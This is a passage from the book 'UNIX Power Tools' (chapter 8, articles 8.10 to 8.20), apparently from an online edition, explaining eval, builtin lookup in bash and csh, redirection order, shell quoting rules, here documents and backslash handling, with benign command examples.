But there's a loophole. The eval command says, in essence, "Give me another chance. Re-evaluate this line and execute it." Here's what happens if we stick eval before the echo:

% eval echo $b
foo

The shell converts $b into $a; then eval runs through the command-line evaluation process again, converting echo $a into echo foo-which is what we wanted in the first place!

Here's a more realistic example; you see code like this fairly often in Bourne shell scripts:

...
command='grep $grepopts $searchstring $file'
for opt
do
   case "$opt" in
      file) output=' > $ofile' ;;
      read) output=' | more'   ;;
      sort) postproc=' | sort $sortopts';;
   esac
done
...
eval $command $postproc $output

Do you see what's happening? We're constructing a command that will look something like:

grep $grepopts $searchstring $file | sort $sortopts > $ofile

But the entire command is "hidden" in shell variables, including the I/O redirectors and various options. If the eval isn't there, this command will blow up in all sorts of bizarre ways. You'll see messages like | not found, because variable expansion occurs after output redirection. The "nested" variables (like $ofile, which is used inside of $output) won't be expanded either, so you'll also see $ofile not found. Putting an eval in front of the command forces the shell to process the line again, guaranteeing that the variables will be expanded properly and that I/O redirection will take place.

eval is incredibly useful if you have shell variables that include other shell variables, shell variables that include aliases, shell variables that include I/O redirectors, or all sorts of perversities. It's commonly used within shell scripts to "evaluate" commands that are built during execution. There are more examples of eval in articles 5.4, 10.7, 10.10, 45.17, 45.34, 46.3, and others.

- ML

Previous: 8.9 Wildcards Inside of Aliases | UNIX Power Tools | Next: 8.11 Which One Will bash Use?
8.9 Wildcards Inside of Aliases | Book Index | 8.11 Which One Will bash Use?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.11 Which One Will bash Use?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.10 eval: When You Need Another Chance Chapter 8
How the Shell Interprets What You Type 		Next: 8.12 Which One Will the C Shell Use?

8.11 Which One Will bash Use?

Article 8.5 gives an general overview of what the C shell does as it evaluates a command line. bash does something similar. This article takes a closer look at how you can control one part of those steps: whether bash will choose a shell function, a built-in command, or an external command. (If you're interested in a detailed and humorous look at the way this is handled in the C shell, read article 8.12.)

Let's say that you want to write shell functions named cd, pushd, and popd. They will run the shell's built-in cd, pushd, or popd command, respectively. Next they execute another shell function named setvars to do some setup in the new directory:

"$@"

cd() {            pushd() {     popd() {
    cd "$@"       pushd "$@"       popd "$@"
    setvars       setvars         setvars
}                 }             }

But which cd will bash use when you type cd: the built-in cd or your cd function? (Same question for pushd and popd.) Worse, what if the cd <">$@<"> command inside the function makes bash call your cd function again, and that starts an endless loop? Well, that actually will start a loop - and you need to know how to prevent it.

Typing command before the name of a command disables shell function lookup. bash will only execute a built-in command or an external command with that name. So, you could keep the functions from re-executing themselves by defining them this way:

cd() {                    pushd() {                popd() {
    command cd "$@"       command pushd "$@"       command popd "$@"
    setvars               setvars                  setvars
}                         }                        }

In the same way, if you don't want to run your new pushd function for some reason, here's how to use the built-in pushd once:

bash$ command pushd somewhere

The command command still allows bash to run an external command (from your PATH (6.4)) with the name you give. To force bash to use a built-in command - but not a shell function or an external command - type builtin before the command name. Although bash will always choose a built-in command before an external command, you can specify the built-in echo unambiguously with:

builtin echo -n 'What next? '

What if you want the external echo command? The easiest way is probably by typing its absolute pathname. For example, when I was revising article 8.20, I wanted to test the four (!) different external versions of echo on a System V machine - and not get the built-in bash version. So I typed commands like this:

bash$ /bin/echo hi \\ there

Finally, you can enable or disable specific built-in bash commands with the enable command. Unlike command and builtin, the effect of enable lasts until you exit the shell. The command enable -n disables one or more built-in commands; give the command names as arguments. For example, in my experiments for article 8.20, I could have made sure that I'd get an external echo every time by typing this first command once:

bash$ enable -n echo
bash$ type echo
echo is hashed (/bin/echo)

The bash type command confirms that I'll now be using the external echo. You can re-enable a disabled built-in with enable command-name. And enable -a lists the status of all bash built-ins.

- JP

Previous: 8.10 eval: When You Need Another Chance | UNIX Power Tools | Next: 8.12 Which One Will the C Shell Use?
8.10 eval: When You Need Another Chance | Book Index | 8.12 Which One Will the C Shell Use?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.12 Which One Will the C Shell Use?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.11 Which One Will bash Use? Chapter 8
How the Shell Interprets What You Type 		Next: 8.13 Is It "2>&1 file" or "> file 2>&1"? Why?

8.12 Which One Will the C Shell Use?

[Article 8.11 shows how to control whether bash uses a built-in command, a shell function, or an external command. The way you do that in the C shell is a little, errr, different. Chris Torek explains why, for example, \rm disables an alias for rm and \cd disables the built-in cd command. He starts with a fairly complex explanation, then gives some practical guidelines. At the end is a "review" that's easy to follow and fun too. -JP]

The C shell first breaks each input line into a word vector. It then matches against aliases. Since \rm does not match rm, any alias is ignored. Eventually the C shell fully applies any quoting (since an alias can include quotes, some of this work must be deferred; since an alias can include multiple words, more word vector work must be done as well; it all gets rather hairy).

The C shell implements quoting by setting the 8th bit (bit 7) of each byte of a quoted character. Since '*'|0x80 [a character ORed with 80 hex a.k.a. 10000000 binary-JP ] is not the same character as '*', this prevents file name expansion, further word breaking, and so on.

Eventually, the shell has a fully "parsed" line. It then compares word[0] [the first word on the command line-JP ] against all the built-ins. If there is a match, it runs the corresponding built-in command (and it is up to that command to expand any remaining words; for instance, ls * in a directory containing only the file -l produces a long listing, but jobs * produces a usage message). If not, the shell performs globbing [filename wildcard expansion-JP ] on the current word list, producing a new word list, and then:

  1. strips the 8th bit of each byte of each word

  2. exec()s the resulting command.

This means that:

\cd

not only bypasses any alias, but also reaches the built-in scanner as:

'c'|0x80, 'd', '\0'

which does not match the built-in command:

'c', 'd', '\0'

and so does not run the cd builtin. It is later stripped and the shell looks for an external program called cd.

If you want to avoid alias substitution, but not built-in matching, you can replace:

\cd foo   or   \rm foo

with:

''cd foo   or   ""rm foo

These do not match the aliases - during alias scanning they have quote pairs in front of them - but do match any builtin since the quotes have by then been stripped (setting bit 7 of all the characters contained between the two quotes, here none).

Incidentally, since alias expansion occurs early, you can do some peculiar things with it:

% [
Missing ].
% alias [ echo foo
% [
foo

(alias expansion occurs before globbing)

% unalias [
unalias: Missing ].

(unalias globs its arguments!)

% unalias \[
% alias unalias echo foo
unalias: Too dangerous to alias that.

(the C shell attempts caution...)

% alias \unalias echo foo
% alias
unalias   (echo foo)
% unalias unalias
foo unalias

(but fails!)

% ''unalias unalias
% alias
%

(Fortunately, there is an exit.)

- CT on Usenet, 14 November 1990

Previous: 8.11 Which One Will bash Use? | UNIX Power Tools | Next: 8.13 Is It "2>&1 file" or "> file 2>&1"? Why?
8.11 Which One Will bash Use? | Book Index | 8.13 Is It "2>&1 file" or "> file 2>&1"? Why?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.13 Is It "2>&1 file" or "> file 2>&1"? Why?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.12 Which One Will the C Shell Use? Chapter 8
How the Shell Interprets What You Type 		Next: 8.14 Bourne Shell Quoting

8.13 Is It "2>&1 file" or "> file 2>&1"? Why?

One of the common questions about the Bourne and Korn shells is why only the second command will redirect both stdout and stderr (13.1) to a file:

$ cat food 2>&1 >file
cat: can't open food
$ cat food >file 2>&1
$

Although lots of sh manual pages don't mention this, the shell reads arguments from left to right.

  1. On the first command line, the shell sees 2>&1 first. That means "make the standard error (file descriptor 2) go to the same place as the standard output (fd1) is going." There's no effect because both fd2 and fd1 are already going to the terminal. Then >file redirects fd1 (stdout) to file. But fd2 (stderr) is still going to the terminal.

  2. On the second command line, the shell sees >file first and redirects stdout to file. Next 2>&1 sends fd2 (stderr) to the same place fd1 is going - that's to the file. And that's what you want.

Article 45.21 has much more about the m>&n operator.

- JP

Previous: 8.12 Which One Will the C Shell Use? | UNIX Power Tools | Next: 8.14 Bourne Shell Quoting
8.12 Which One Will the C Shell Use? | Book Index | 8.14 Bourne Shell Quoting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.14 Bourne Shell Quoting

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.13 Is It "2>&1 file" or "> file 2>&1"? Why? Chapter 8
How the Shell Interprets What You Type 		Next: 8.15 Differences Between Bourne and C Shell Quoting

8.14 Bourne Shell Quoting

I can't understand why some people see Bourne shell quoting as a scary, mysterious set of many rules. Bourne shell quoting is simple. (C shell quoting is slightly more complicated. See article 8.15.)

The overall idea is: quoting turns off (disables) the special meaning of characters. There are three quoting characters: a single quote ('), a double quote ("), and a backslash (\). Note that a backquote (`) is not a quoting character - it does command substitution (9.16).

8.14.1 Special Characters

Below are the characters that are special to the Bourne shell. You've probably already used some of them. Quoting these characters turns off their special meaning. (Yes, the last three characters are quote marks. You can quote quote marks; more on that later.)

# & * ? [ ] ( ) = | ^ ; < > ` $ " ' \

Space, tab, and newline also have special meaning: as argument separators. A slash (/) has special meaning to UNIX itself, but not the shell - so quoting doesn't change the meaning of slashes.

8.14.2 How Quoting Works

Table 8.1 summarizes the rules; you might want to look back at it while you read the examples.

Table 8.1: Bourne Shell Quoting Characters
Quoting Character | Explanation
'xxx' | Disable all special characters in xxx.
"xxx" | Disable all special characters in xxx except $, `, and \.
\x | Disable special meaning of character x. At end of line, a \ removes the newline character (continues line).

To understand which characters will be quoted, imagine this: the Bourne shell reads what you type at a prompt, or the lines in a shell script, character by character from first to last. (It's actually more complicated than that, but not for the purposes of quoting.)

When the shell reads one of the three quoting characters, it:

  • Strips away that quoting character.

  • Turns off (disables) special meaning of some or all other character(s) until the end of the quoted section, by the rules in Table 8.1.

You also need to know how many characters will be quoted. The next few sections have examples to demonstrate those rules. Try typing the examples at a Bourne shell prompt, if you'd like. (Don't use C shell; it's different (8.15).) If you need to start a Bourne-type shell, type sh; use CTRL-d when you're done.

  • A backslash (\) turns off special meaning (if any) of the next character. For example, \* is a literal asterisk, not a filename wildcard. So, the first expr (45.28) command gets the three arguments 79 * 45 and multiplies those two numbers:

    $ expr 79 \* 45
3555
$ expr 79 * 45
expr: syntax error

    In the second example, without the backslash, the shell expanded * into a list of filenames - which confused expr. (If you want to see what I mean, repeat those two examples using echo (8.6) instead of expr.)

  • A single quote (') turns off special meaning of all characters until the next single quote is found. So, in the command line below, the words between the two single quotes are quoted. The quotes themselves are removed by the shell. Although this mess is probably not what you want, it's a good demonstration of what quoting does:

    $ echo Hey!       What's next?  Mike's #1 friend has $$.
Hey! Whats next?  Mikes

    Let's take a close look at what happened. Spaces outside the quotes are treated as argument separators; the shell ignores the multiple spaces. As article 8.6 explains, echo prints a single space between each argument it gets. Spaces inside the quotes are passed on to echo literally. The question mark (?) is quoted; it's given to echo as is, not used as a wildcard.

    So, echo printed its first argument Hey! and a single space. The second argument to echo is Whats next?  Mikes; it's all a single argument because the single quotes surrounded the spaces (notice that echo prints the two spaces after the question mark: ?  ). The next argument, #1, starts with a hash mark, which is a comment character (44.2). That means the shell will ignore the rest of the string; it isn't passed to echo.

  • Double quotes (") work almost like single quotes. The difference is that double quoting allows the characters $ (dollar sign), ` (backquote), and \ (backslash) to keep their special meanings. That lets you do variable substitution (6.8, 6.1) and command substitution (9.16) inside double quotes - and also to stop that substitution where you need to.

    For now, let's repeat the example above. This time, put double quotes around the single quotes (actually, around the whole string):

    $ echo "Hey!       What's next?  Mike's #1 friend has $$."
Hey!       What's next?  Mike's #1 friend has 18437.

    The opening double quote isn't matched until the end of the string. So, all the spaces between the double quotes lose their special meaning - and the shell passes the whole string to echo as one argument. The single quotes also lose their special meaning - because double quotes turn off the special meaning of single quotes! So, the single quotes aren't stripped off as they were in the previous example; echo prints them.

    What else lost its special meaning? The hash mark (#) did; notice that the rest of the string was passed to echo this time - because it wasn't "commented out." But the dollar sign ($) didn't lose its meaning; the $$ was expanded into the shell's process ID number (38.3) (in this shell, 18437).

In the previous example, what would happen if you put the $ inside the single quotes? (Single quotes turn off the meaning of $, remember.) Would the shell still expand $$ to its value? Yes, it would: the single quotes have lost their special meaning, so they don't affect any characters between themselves:

$ echo "What's next?  How many $$ did Mike's friend bring?"
What's next?  How many 18437 did Mike's friend bring?

How can you make both the $$ and the single quotes print literally? The easiest way is with a backslash, which still works inside double quotes:

$ echo "What's next?  How many \$\$ did Mike's friend bring?"
What's next?  How many $$ did Mike's friend bring?

Here's another way to solve the problem. A careful look at this will show a lot about shell quoting:

$ echo "What's next?  How many "'$$'" did Mike's friend bring?"
What's next?  How many $$ did Mike's friend bring?

To read that example, remember that a double quote quotes characters until the next double quote is found. The same is true for single quotes. So, the string What's next?  How many  (including the space at the end) is inside a pair of double quotes. The $$ is inside a pair of single quotes. The rest of the line is inside another pair of double quotes. Both of the double-quoted strings contain a single quote; the double quotes turn off its special meaning and the single quote is printed literally.

8.14.3 Single Quotes Inside Single Quotes?

You can't put single quotes inside single quotes. A single quote turns off all special meaning until the next single quote. Use double quotes and backslashes.

8.14.4 Multiline Quoting

Once you type a single quote or double quote, everything is quoted. The quoting can stretch across many lines. (The C shell doesn't work this way.)

For example, in the short script shown in Figure 8.1, you might think that the $1 is inside quotes... but it isn't.

Figure 8.1: Matching Quotes

Actually, everything but $1 is in quotes. The gray shaded area shows the quoted parts. So $1 is expanded by the Bourne shell, and not by awk.

Here's another example. Let's store a shell variable (6.8) with a multiline message, the kind that might be used in a shell program. A shell variable must be stored as a single argument; any argument separators (spaces, etc.) must be quoted. Inside double quotes, $ and ` are interpreted (before the variable is stored, by the way). The opening double quote isn't closed by the end of the first line; the Bourne shell prints secondary prompts (9.13) (>) until all quotes are closed:

$ greeting="Hi, $USER.
> The date and time now
> are:  `date`."
$ echo "$greeting"
Hi, jerry.
The date and time now
are:  Tue Sep  1 13:48:12 EDT 1992.
$ echo $greeting
Hi, jerry. The date and time now are: Tue Sep 1 13:48:12 EDT 1992.
$

The first echo command line uses double quotes. So, the shell variable is expanded, but the shell doesn't use the spaces and newlines in the variable as argument separators. (Look at the extra spaces after the word are:.) The second echo doesn't use double quotes. The spaces and newlines are treated as argument separators; the shell passes 14 arguments to echo, which prints them with single spaces between.

A backslash has a quirk you should know about. If you use it outside quotes, at the end of a line (just before the newline), the newline will be deleted. Inside single quotes, though, a backslash at the end of a line is copied as is. Here are examples. I've numbered the prompts (1$, 2$, and so on):

1$ echo "a long long long long long long
> line or two"
a long long long long long long
line or two
2$ echo a long long long long long long\
> line
a long long long long long longline
3$ echo a long long long long long long \
> line
a long long long long long long line
4$ echo "a long long long long long long\
> line"
a long long long long long longline
5$ echo 'a long long long long long long\
> line'
a long long long long long long\
line

You've seen an example like example 1 before. The newline is in quotes, so it isn't an argument separator; echo prints it with the rest of the (single two-line) argument. In example 2, the backslash before the newline tells the shell to delete the newline; the words long and line are passed to echo as one argument. Example 3 is usually what you want when you're typing long lists of command-line arguments: Type a space (an argument separator) before the backslash and newline. In example 4, the backslash inside the double quotes is ignored (compare to example 1). Inside single quotes, as in example 5, the backslash has no special meaning; it's passed on to echo.

- JP

Previous: 8.13 Is It "2>&1 file" or "> file 2>&1"? Why? | UNIX Power Tools | Next: 8.15 Differences Between Bourne and C Shell Quoting
8.13 Is It "2>&1 file" or "> file 2>&1"? Why? | Book Index | 8.15 Differences Between Bourne and C Shell Quoting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.15 Differences Between Bourne and C Shell Quoting

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.14 Bourne Shell Quoting Chapter 8
How the Shell Interprets What You Type 		Next: 8.16 Quoting Handles Special Characters in Filenames

8.15 Differences Between Bourne and C Shell Quoting

This article explains quoting in the C shell by comparing it to Bourne shell quoting. If you haven't read article 8.14 about Bourne shell quoting, please do.

As in the Bourne shell, the overall idea of C shell quoting is: quoting turns off (disables) the special meaning of characters. There are three quoting characters: a single quote ('), a double quote ("), and a backslash (\).

8.15.1 Special Characters

The C shell has several more special characters than the Bourne shell:

! { } ~

8.15.2 How Quoting Works

Table 8.2 summarizes the rules; you might want to look back at it while you read the examples.

Table 8.2: C Shell Quoting Characters
Quoting Character | Explanation
'xxx' | Disable all special characters in xxx except !.
"xxx" | Disable all special characters in xxx except $,`, and !.
\x | Disable special meaning of character x. At end of line, a \ treats the newline character like a space (continues line).

The major differences between C and Bourne shell quoting are:

  • The exclamation point (!) character can only be quoted with a backslash. That's true inside and outside single or double quotes. So, you can use history substitution (11.7) inside quotes. For example:

    % grep intelligent engineering file*.txt
grep: engineering: No such file or directory
% grep '!:1-2' !:3
grep 'intelligent engineering' file*.txt
    ...

  • In the Bourne shell, inside double quotes, a backslash (\) stops variable and command substitution (it turns off the special meaning of $ and `).

    In the C shell, you can't disable the special meaning of $ or ` inside double quotes. You'll need a mixture of single and double quotes. For example, searching for the string use the `-c' switch takes some work:

    % fgrep "use the \`-c' switch" *.txt
Unmatched \`.
% fgrep 'use the \`-c\' switch' *.txt
Unmatched '.
% fgrep "use the "'`-c'"' switch" *.txt
hints.txt:Be sure to use the `-c' switch.

    Article 10.8 shows an amazing pair of aliases that automate complicated quoting problems like this.

  • In the Bourne shell, single and double quotes include newline characters. Once you open a single or double quote, you can type multiple lines before the closing quote.

    In the C shell, if the quotes on a command line don't match, the shell will print an error. To quote more than one line, type a backslash at the end of each line. Inside single or double quotes, the backslash-newline becomes a newline. Unquoted, backslash-newline is an argument separator:

    % echo "one\
two" three\
four
one
two three four

- JP

Previous: 8.14 Bourne Shell Quoting | UNIX Power Tools | Next: 8.16 Quoting Handles Special Characters in Filenames
8.14 Bourne Shell Quoting | Book Index | 8.16 Quoting Handles Special Characters in Filenames
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.16 Quoting Handles Special Characters in Filenames

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.15 Differences Between Bourne and C Shell Quoting Chapter 8
How the Shell Interprets What You Type 		Next: 8.17 verbose and echo Variables Show Quoting

8.16 Quoting Handles Special Characters in Filenames

If you want to work with files that have spaces or special characters in the filenames, you may have to use quotes. For instance, if you wanted to create a file that has a space in the name, you could use the following:

/dev/null
% cp /dev/null 'a file with spaces in the name'

Normally, the shell uses spaces to determine the end of each argument. Quoting (8.14, 8.15) changes that - for example, the above example only has two arguments. You can also use a backslash (\) before a special character. The example below will rename a file with a space in the name, changing the space to an underscore ( _ ):

% mv a\ file a_file

Using the same techniques, you can deal with any character in a filename:

% mv '$a' a

At worst, a space in a filename makes the filename difficult to use as an argument. Other characters are dangerous to use in a filename. In particular, using ? and * in a filename is playing with fire. If you want to delete the file a?, you may end up deleting more than the single file.

- BB

Previous: 8.15 Differences Between Bourne and C Shell Quoting | UNIX Power Tools | Next: 8.17 verbose and echo Variables Show Quoting
8.15 Differences Between Bourne and C Shell Quoting | Book Index | 8.17 verbose and echo Variables Show Quoting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.17 verbose and echo Variables Show Quoting

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.16 Quoting Handles Special Characters in Filenames Chapter 8
How the Shell Interprets What You Type 		Next: 8.18 Here Documents

8.17 verbose and echo Variables Show Quoting

The C shell has two variables (6.9) that, when set, will help you follow the convoluted trail of variable and metacharacter expansion. This will echo every command line before shell variables have been evaluated:

set
% set verbose

This command will display each line after the variables and metacharacters have been substituted:

% set echo

If you wish to turn the variables off, use unset (6.8) instead of set.

The Bourne shell syntax is different. To turn on the verbose flag, use:

$ set -v

The command set -x turns on the echo flag. You can also type them together: set -xv.

If your version of UNIX understands (44.4) scripts that start with #!, here's a convenient way to turn these variables on from the first line of a script:

#!/bin/sh -xv

It is not necessary to modify the program. You can enable variable tracing in Bourne shell scripts by typing the shell name and options on the command line:

$ sh -v script
$ sh -x script

Not all Bourne shells let you turn these variables off. If yours does, you can do it by using a plus sign instead of a minus sign:

set +xv

- BB

Previous: 8.16 Quoting Handles Special Characters in Filenames | UNIX Power Tools | Next: 8.18 Here Documents
8.16 Quoting Handles Special Characters in Filenames | Book Index | 8.18 Here Documents
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.18 Here Documents

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.17 verbose and echo Variables Show Quoting Chapter 8
How the Shell Interprets What You Type 		Next: 8.19 "Special" Characters and Operators

8.18 Here Documents

So far, we've talked about three different kinds of quoting: backslashes (\), single quotes ('), and double quotes (<">). The shells support yet one more kind of quoting, called here documents. A here document is useful when you need to read something from standard input, but you don't want to create a file to provide that input; you want to put that input right into your shell script (or type it directly on the command line). To do so, use the << operator, followed by a special word:

sort >file <<EndOfSort
zygote
abacus
EndOfSort

This is very useful because variables (6.8, 6.1) are evaluated during this operation. Here is a way to transfer a file using anonymous ftp (52.7) from a shell script:

#!/bin/sh
# Usage:
#     ftpfile machine file
# set -x
SOURCE=$1
FILE=$2
GETHOST="uname -n"
BFILE=`basename $FILE`
ftp -n $SOURCE <<EndFTP
ascii
user anonymous $USER@`$GETHOST`
get $FILE /tmp/$BFILE
EndFTP

As you can see, variables and command substitutions (9.16) are done. If you don't want those to be done, put a backslash in front of the name of the word:

cat >file <<\FunkyStriNG

Notice the funky string. This is done because it is very unlikely that I will want to put that particular combination of characters in any file. You should be warned that the C shell expects the matching word (at the end of the list) to be escaped the same way, i.e., \FunkyStriNG, while the Bourne shell does not. See article 45.26.

[Most Bourne shells also have the <<- operator. The dash (-) at the end tells the shell to strip any TAB characters from the beginning of each line. Use this in shell scripts to indent a section of text without passing those TABs to the command's standard input. -JP]

- BB

Previous: 8.17 verbose and echo Variables Show Quoting | UNIX Power Tools | Next: 8.19 "Special" Characters and Operators
8.17 verbose and echo Variables Show Quoting | Book Index | 8.19 "Special" Characters and Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.19 "Special" Characters and Operators

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.18 Here Documents Chapter 8
How the Shell Interprets What You Type 		Next: 8.20 How Many Backslashes?

8.19 "Special" Characters and Operators

Before you learn about regular expressions (26.1), you should understand how quoting (8.14) works in UNIX.

Regular expressions use metacharacters. The shells also have metacharacters. Metacharacters are simply characters that have a special meaning. The problem occurs when you want to use a regular expression in a shell script. Will the shell do something special with the character? Or will it be passed unchanged to the program? The $ character is a good example. It could be the beginning of a variable name or it could bepart of a regular expression . (26.2) If you need a regular expression, you must know if any of the characters of the expression are metacharacters, and must know the right way to quote that character so that it is passed to the program without being modified by the shell.

Table 8.3 is a table of special characters and operators in the C shell (csh) and Bourne shell (sh). The chart also includes several combinations of characters just to be complete. As in other parts of this book, the sh entries apply to ksh and bash; the csh entries apply to tcsh.

Table 8.3: List of Special Characters and Their Meanings
Character | Where | Meaning | Article
ESC | csh | Filename completion. | 9.8
RETURN | csh, sh | Execute command. | 41.2
space | csh, sh | Argument separator. | 8.5
TAB | csh, sh | Argument separator. | 8.5
TAB | bash | Filename completion. | 9.8
# | csh, sh | Start a comment. | 44.2
` | csh, sh | Command substitution (backquotes). | 9.16
" | sh | Weak quotes. | 8.14
" | csh | Weak quotes. | 8.15, 8.14
' | sh | Strong quotes. | 8.14
' | csh | Strong quotes. | 8.15, 8.14 See \.
\ | sh | Single-character quote. | 8.14
\ | csh | Single-character quote. | 8.15, 8.14
$var | csh, sh | Variable. | 6.1, 6.8
${var} | csh, sh | Same as $var. | 6.8
$var:mod | csh | Edit var with modifier mod | 9.6
${var-default} | sh | If var not set, use default. | 45.12
${var=default} | sh | If var not set, set it to default and use that value. | 45.12
${var+instead} | sh | If var set, use instead. Otherwise, null string. | 45.12
${var?message} | sh | If var not set, print message (else default). If var set, use its value. | 45.12
${var#pat} | ksh, bash | Value of var with smallest pat deleted from start. | 9.7
${var##pat} | ksh, bash | Value of var with largest pat deleted from start. | 9.7
${var%pat} | ksh, bash | Value of var with smallest pat deleted from end. | 9.7
${var%%pat} | ksh, bash | Value of var with largest pat deleted from end. | 9.7
| | csh, sh | Pipe standard output. | 1.4, 13.1
|& | csh | Pipe standard output and standard error. | 13.5
^ | sh only | Pipe character (obsolete). |
^ | csh, bash | Edit previous command line. | 11.5
& | csh, sh | Run program in background. | 1.27, 1.28
? | csh, sh | Match one character. | 1.16, 15.2
* | csh, sh | Match zero or more characters. | 1.16, 15.2
; | csh, sh | Command separator. | 8.5
;; | sh | End of case statement. | 44.5
~ | csh, ksh, bash | Home directory. | 14.11
~user | csh, ksh, bash | Home directory of user. | 14.11
! | csh, bash | Command history. | 11.2
- | Programs | Start of optional argument. | 8.5
- | Programs | Read standard input. (Only certain programs.) | 13.13
$# | csh, sh | Number of arguments to script. | 44.15
"$@" | sh | Original arguments to script. | 44.15
$* | csh, sh | Arguments to script. | 44.15
$- | sh | Flags set in shell. | 2.11
$? | sh | Status of previous command. | 44.7
$$ | csh, sh | Process identification number. | 8.14
$! | sh | Process identification number of last background job. | 7.12
$< | csh | Read input from terminal. | 9.11
cmd1 && cmd2 | csh, sh | Execute cmd2 if cmd1 succeeds. | 44.9
cmd1 || cmd2 | csh, sh | Execute cmd2 if cmd1 fails. | 44.9
$(..) | ksh, bash | Command substitution. | 45.31, 9.16
((..)) | ksh, bash | Arithmetic evaluation. |
\. file | sh | Execute commands from file in this shell. | 44.23
: | sh | Evaluate arguments, return true. | 45.9
: | sh | Separate values in paths. | 6.4, 14.5, 21.8
: | csh | Variable modifier. | 9.6
[] | csh, sh | Match range of characters. | 1.16, 15.2
[] | sh | Test. | 44.20
%job | csh, ksh, bash | Identify job number. | 12.1
(cmd;cmd) | csh, sh | Run cmd;cmd in a subshell. | 13.7
{} | csh, bash | In-line expansions. | 9.5
{cmd;cmd; } | sh | Like (cmd;cmd) without a subshell. | 13.8
>file | csh, sh | Redirect standard output. | 13.1
>>file | csh, sh | Append standard output. | 13.1
<file | csh, sh | Redirect standard input. | 13.1
<<word | csh, sh | Read until word, do command and variable substitution. | 8.18, 9.14
<<\word | csh, sh | Read until word, no substitution. | 8.18
<<-word | sh | Read until word, ignoring leading TABs. | 8.18
>>! file | csh | Append to file, even if noclobber set and file doesn't exist. | 13.6
>! file | csh | Output to file, even if noclobber set and file exists. | 13.6
>| file | ksh, bash | Output to file, even if noclobber set and file exists. | 13.6
>& file | csh | Redirect standard output and standard error to file. | 13.5
m> file | sh | Redirect output file descriptor m to file. | 45.21
m>> file | sh | Append output file descriptor m to file. |
m< file | sh | Redirect input file descriptor m from file. |
<&m | sh | Take standard input from file descriptor m. |
<&- | sh | Close standard input. | 45.10
>&m | sh | Use file descriptor m as standard output. | 45.21
>&- | sh | Close standard output. | 45.21
m<&n | sh | Connect input file descriptor n to file descriptor m. | 45.22
m<&- | sh | Close input file descriptor m. | 45.21
n>&m | sh | Connect output file descriptor n to file descriptor m. | 45.21
m>&- | sh | Close output file descriptor m. | 45.21

- BB, JP

Previous: 8.18 Here Documents | UNIX Power Tools | Next: 8.20 How Many Backslashes?
8.18 Here Documents | Book Index | 8.20 How Many Backslashes?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.20 How Many Backslashes?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.19 "Special" Characters and Operators Chapter 8
How the Shell Interprets What You Type 		Next: 9. Saving Time on the Command Line

8.20 How Many Backslashes?

The problem with backslashes is that many different programs use them as quoting characters. As a result, it's difficult to figure out how many backslashes you need in any situation.

Here's an example, taken from System V Release 4. (Notice that I'm using the standard System V version of echo from /bin/echo. SVR4 has four versions of echo!)

% /bin/echo hi \ there
hi  there
% /bin/echo hi \\ there
hi \ there
% /bin/echo hi \\\\ there
hi \ there

In the first case, the shell uses the backslash to quote (8.14) the following space character. The space before the backslash is a word separator. So echo gets two arguments: "hi" and " there" (without the quotes)-where is the space character that was quoted by the backslash. As always, echo prints a single space between each argument. The first space you see in the output is echo's argument-separating space, and the second space came along with the second argument (thanks to the backslash).

In the second case, the shell converts \\ to \; the first backslash tells the shell to quote (8.14) (turn off the special meaning of) the second backslash. The echo command gets three arguments, "hi", "\" and "there", and it echoes those arguments with a single space between each. (I've heard claims that, on some systems, this command wouldn't print any backslashes, but I wasn't able to reconstruct that situation.)

In the third case, the shell converts each pair of backslashes into a backslash, and runs the command echo hi \\ there. But this is System V, and System V's echo interprets backslashes (8.6) as special characters. So when echo sees the remaining two backslashes, it converts them into a single backslash. So you only see a single backslash, even though you typed four. On BSD systems, echo doesn't do this; you'd see two backslashes. For that matter, if you're using SVR4's C shell, with its built-in echo command, you'll see the BSD behavior. You'll also see the BSD behavior if you're using SVR4's /usr/ucb/echo.

The terminal driver (42.1) is also capable of "eating" backslashes if they appear before special characters. If a backslash precedes the "erase" character (normally CTRL-h) or the "kill" character (normally CTRL-u), the terminal driver will pass the control character to the shell, rather than interpreting it as an editing character. In the process, it "eats" the backslash. So if you type:

% echo \[CTRL-u]

